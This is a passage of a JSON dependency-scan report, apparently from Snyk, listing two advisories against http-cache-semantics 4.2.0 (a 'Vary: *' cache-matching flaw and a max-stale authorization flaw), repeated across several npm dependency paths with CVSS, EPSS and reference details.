"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
